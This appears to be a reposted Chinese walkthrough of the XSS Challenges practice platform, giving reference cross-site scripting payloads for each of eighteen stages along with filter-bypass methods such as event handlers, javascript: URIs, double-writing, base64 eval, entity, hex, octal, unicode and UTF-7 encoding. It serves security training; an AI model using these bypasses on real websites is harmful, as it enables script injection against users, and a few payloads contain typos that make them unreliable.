XSS練習平台【XSS Challenges】


每個標題有超鏈的都是可以直接點擊去做那一關,這樣就用每次都從第一關開始做了。想做哪關做哪關。

以下來自XSS練習平台----XSS Challenges

這個練習平台沒有像alert(1)to win類似的平台一樣會給出關鍵的源代碼,並且會在頁面給予反饋。這是一個模仿真實xss挖洞的情景,在XSS Challenges練習過程中,我們需要用瀏覽器中的f12中搜索(),找出我們控制的代碼所在的位置,然后思考那些個位置哪個或哪幾個位置可以被注入我們想要的代碼,然后結合上下文進行各種腦洞繞過。

在chorme中做題會被防火牆檢測為危險代碼,解決方案

在chrome中搜索,在f12中的的Element中用Ctrl+Shift+f調出搜索框,可以搜索這個頁面用到的所有文本資源的字符串,也可以在Source中先在左邊選中對應的文件夾后,用Ctrl+f調出搜索框搜索當前文件字符串

在firefox的話,我用了firebug,直接選中HTML或CSS或腳本,然后在右上方搜索框搜索即可(選擇腳本搜的最全)。

在IE的話,先選擇調試程序,然后在右上方搜索框搜索即可。

(暫時知道那么多,還有什么補充的以后再更)

一般思路是測試,看哪些寫法或字符被過濾了(單引號,雙引號,尖括號,正反斜杠等等),然后構造攻擊代碼,另外一種方式就是去resources 中,去查看腳本,是哪個腳本執行了什么操作,讓變量進入了標簽,了解清楚了之后,可以對症下葯的創造攻擊向量。

閉合標簽,只是JS偽協議(javascript:url),
含有JS偽協議的a標簽,script代碼,
事件(alert,onclick,onmouseover等等),
雙寫,編碼繞過 base64編碼eval() atob()函數,
html實體編碼
unicode編碼某個字符或者插入不可見字符&#09[是unicode編碼后的tab],空格繞過(單詞之中加空格),
16進制繞過(ascii碼對應的16進制)

Stage #1

很簡單,沒有任何過濾,輸出點在標簽之間,閉合標簽,構造新標簽搞定。

參考payload:

dada"</b><script>alert(document.domain)</script>
dada"</b><svg/onload=alert(document.domain)>
dada"</b><IMG SRC=javascript:alert('XSS')>

Stage #2

參考payload:

" onmouseover=alert(document.domain)>
"><script>alert(document.domain)</script>

Stage #3

第一個被轉義了,用第二個參數

參考payload:

"><script>alert(document.domain)</script>
<script>alert(document.domain)</script>

Stage #4

抓包嘗試發現p1 p2都被過濾了 p3是隱藏的標簽沒被過濾

參考payload:

"><script>alert(document.domain)</script>
"><svg/onload=alert(document.domain)>%0a  

Stage #5

長度限制 抓包解決

參考payload:

dada"><script>alert(document.domain)</script>
dada" onmouseover=javascript:alert(document.domain)
dada" onmouseover=alert(document.domain)
dada"><svg/onload=alert(document.domain)>

Stage #6

與Stage#2幾乎一樣,也是value參數,唯一不同的是過濾了<>,但沒有過濾"(可以閉合前面的屬性),這樣我們就不可以用新的標簽了,但我們可以在標簽里面加新的屬性,如 " οnmοuseοver=alert(document.domain) name="1類似這樣的,onmouseover是把鼠標放在上面就執行的on時間,onclick之類的也是可以的。

參考payload:

dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1

Stage #7

和上一題很像,這個題把雙引號<>都過濾了

參考payload:

test onmouseover=alert(document.domain)
但以下的也可以 不知道是不是瀏覽器原因
dada" onmouseover=alert(document.domain)
dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1

但是從網上找到的卻說是用的空格分割,也算誤打誤撞吧,

但是上面的payload只要加的雙引號中間有空格隔開或者不讓其緊挨着出現就可以成功,比如dada" onmouseover=alert(document.domain) " " "。后來看了別人的WP才學習到了,並不是轉以后的雙引號起了分隔作用,而是雙引號后面的空格,空格也可以分隔屬性(記住要在空格前面隨便加點什么,否則bp提包的時候會自動將空格省略)

Stage #8

題目是輸入一條url,然后后台把它包在一個標簽里,我們需要點擊超鏈接然后彈窗。所以可以用js偽協議

參考payload:

javascript:alert(document.domain)

Stage #9

這一關是利用utf-7編碼的,需要環境是IE 7

我用了ie復現也是不能成功,留下個payload吧。

參考payload:

" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4- 

1.用可以識別UTF-7的IE瀏覽器

2.把抓包內容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

意思是我們提交UTF-7編碼的py上去,然后瀏覽器UTF-7解碼出利用py~~(我覺得出題者簡直閑的蛋疼,不說現在沒有利用utf-7的ie了,哪有什么網頁的后台是只能解碼utf-7的)

Stage #10

這個也是value注入點,直接在網頁提交發現,題目把domain過濾掉了,所以用可以用雙寫繞過.

查看源代碼,老是不小心看到提示:

s/script/xscript/ig;
s/on[a-z]+=/onxxx=/ig;
s/style=/stxxx=/ig;  

發現過濾了不少東西,

1,script會被替換為xscript 

2,on事件會被替換為onxxx

3,style會被替換為stxxx

嘗試用tab制表(%09),換行(%0a,%0d,%0a%0d)等符號都不行。

參考payload:

雙寫繞過:"><script>alert(document.dodomainmain)</script>  
編碼繞過:"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

Stage #11

也是value注入點,在網頁中各種提交姿勢試一下,發現script前面加個x,on事件全部不能用(題后看hint也證實了我的猜想)

想到除了on事件和script之外還能執行js的是構造a標簽在超鏈中執行js

構造"><a href=javascript:alert(document)>1</a>< ,發現構造的語句中仍然有script,我們把之中的r進行html實體一下

提交之后f12看下:

發現被渲染成r了,成功彈窗。
(還可以在script中間插入&#09;&#10;,空格等不可見字符對script進行分割,讓正則匹配不到)

參考payload:

"><a href=javascript:alert(document)>1</a><"
"><a href=javasc&#114;ipt:alert(document)>1</a><"
"><a href=java&#09;sc&#114;ipt:alert(document)>1</a><"  //&#09; tab制表符html十進制編碼
"><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> //&NewLine;是html5的換行符,&colon;是冒號

但是用url編碼編碼r即"><a href=javasc%72ipt:alert(document)>1</a><"查看后發現沒有被渲染,但是彈窗,不知道為何。

Stage #12(IE)

利用IE特性`會唄當成單引號

照常嘗試,還是value值,過濾了<>和",想用編碼能不能繞過(因為過濾了<>",HTML實體是不行的,html實體不能讓內容逃出來)

查看提示:

"s/[\x00-\x20\<\>\"\']//g;  

把\x00-\x20的字符與及<,>,",'都替換為空。

想着還有什么能夠替換空格呢?用 的話還是會沒辦法跳處value屬性。

看了一下sherlock17 大佬的wp,發現了竟然還有一個符號,學到東西了。但是得在IE下才可以。

`  

由於IE的特性,或者說瀏覽器競爭時代百家爭鳴導致的結果,會把`解析為引號。

那么我們的payload可以是

``onmouseover=alert(1)  

在IE下成功彈框

參考payload:

``onmouseover=alert(1)  

IE

Stage #13(IE)

條件IE7.0 6.0 因為expression語法只存在IE中

照常轉義了<>和",F12發現相比以往的題這道題多了一個style屬性,那肯定就是從這里入手了。百度style XSS,搜到一個知識點叫“行內樣式的動態特性”(就是在ie下能在css中執行js代碼)

img

還有一種利用方法 background:url(javascript:alert('xss'));

參考payload:

xss:expresion(alert(document.doamin))
background:url(javascript:alert('document.domain'))
xss:expr/*XSS*/ession(alert(document.domain));

Stage #14(IE)

還是考的style的東西,但這次增加了過濾。可以用CSS注釋/**/插入單詞間,或html實體編碼,但是&被轉義了 。

s/(url|script|eval|expression)/xxx/ig; 

把url,script,eval,expression關鍵字都替換為了xxx。

解法就是尋找黑名單之外的關鍵字,但是我們發現其實我們可以直接用上面的那個payload:

xss:expr/*XSS*/ession(alert(document.domain));

Stage #15

<> " &被轉義了 \被過濾了,所以不能構造html實體,和unicode編碼了,但是輸入\\發現只過濾了一個,所以就用unicode編碼了,(就是\\003c\\003e代替<>換成十六進制編碼也就是\\x3c\\x3e也是可以的)

參考payload:

unicode 編碼下面的payload
<svg/onload=alert(document.domain)>
\x3csvg\x2fonload=alert(document.domain)\x3e  
因為會過濾一個\ 所以用:
\\x3csvg\\x2fonload=alert(document.domain)\\x3e

<script>alert(document.doamin)</script>同理
\\x3cscript\\x2falert=(document.doamin)\\x3c/script\\x2f

有幾種方過濾的方法:(使用\\ 防止\被轉義)字符的ascii碼值對應的16進制, \x__ 16進制格式
第一種:換成16進制編碼\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
第二種:換成Unicode編碼\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
這個是uncode編碼方式 解碼道方式如下:
String a ="\u003C\u0066\u0072\u006F\u006D\u003E";
System.out.println(new String(a.getBytes(),"utf-8"));
結果:<from>

unicode解碼:https://tool.chinaz.com/tools/unicode.aspx

Stage #16

提示說

"document.write();" and "s/\\x/\\\\x/ig;  

\\x 替換成了\\\\x,但是js編碼又不止16進制,還有八進制,unicode編碼

看到又有document.write,試了試上題的利用代碼,直接過了......看了下hint,發現是替換了\x,那與上題唯一的區別就是十六進制編碼不能用了。ps:還有一種編碼格式是八進制編碼?和unicode編碼

參考payload:

\\74img src=x οnerrοr=alert(document.domain)\\76   8進制的
\\u003cimg src=x onerror=alert(document.domain)\\u003e  16進制的unicode

Stage #17(IE 6)

題目說了只能在老ie上復現,那我們就直接看大佬WP好了。

類似於sql注入的寬字節注入,用%A7(%幾都行,只要符合下面大佬WP中可以用來欺騙的編碼)加上雙引號的%34?讓html自解碼機制誤認為這是寬字節字符,從而弄掉雙引號。

半角片假名使用兩個字節來表示:0x8E + 0xA1-0xDF

JIS X 0208字元使用兩個字節來表示:0xA1-0xFE + 0xA1-0xFE

JIS X 0212字元使用三個字節來表示:0x8F + 0xA1-0xFE + 0xA1-0xFE

以上是百度找的,因為沒有環境,所以沒測試

Stage #18(IE 6)

看了一下別人的wp,17 18兩關都是考的字符集的問題,且復現有瀏覽器要求需要在IE 6上復現。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM